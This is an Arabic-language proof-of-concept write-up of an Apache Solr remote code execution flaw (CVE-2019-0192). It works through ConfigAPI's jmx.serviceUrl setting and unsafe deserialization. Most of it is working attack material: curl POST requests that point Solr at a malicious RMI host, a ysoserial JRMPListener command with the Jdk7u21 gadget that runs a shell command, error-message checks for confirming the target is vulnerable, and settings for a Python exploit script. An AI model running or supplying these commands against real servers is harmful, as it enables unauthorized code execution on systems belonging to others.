
RCE على Apache Solr باستخدام إلغاء تسلسل البيانات غير الموثوقة عبر jmx.serviceUrl
هذا هو Proof of Concept مبكر لثغرة Apache Solr RCE
من https://issues.apache.org/jira/browse/SOLR-13301:
تتيح ConfigAPI إمكانية تكوين خادم JMX الخاص بـ Solr عبر طلب HTTP POST. من خلال توجيهه إلى خادم RMI خبيث، يمكن للمهاجم استغلال إلغاء التسلسل غير الآمن في Solr لتنفيذ تنفيذ تعليمات برمجية عن بُعد على جانب Solr.

من خلال الاطلاع على وصف النشرة الأمنية وفحص ConfigAPI موارد Apache Solr، يمكننا العثور على مرجع لخادم JMX:

serviceUrl - (str اختياري) عنوان URL لخدمة خادم JMX. إذا لم يتم تحديده، سيتم استخدام خادم MBean الافتراضي للنظام الأساسي.
من خلال فحص كيفية عمل ConfigAPI يمكننا إعادة إنتاج طريقة إعداد خادم JMX عن بُعد:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
بالنسبة إلى إثبات المفهوم، سأستخدم yoserial لإنشاء خادم RMI خبيث باستخدام الحمولة Jdk7u21
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
ملاحظة: يجب أن تحصل على خطأ 500 مع stacktrace مفصلة.
إذا رأيت هذا الخطأ: "Non-annotation type in annotation serial stream" فهذا يعني أن Apache Solr يعمل بإصدار جافا أحدث من JRE 7u25 وأن إثبات المفهوم هذا لن يعمل.
بخلاف ذلك، يجب أن ترى هذا الخطأ: "undeclared checked exception; nested exception is" وعندها يجب أن يعمل إثبات المفهوم.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
النشرة الأمنية: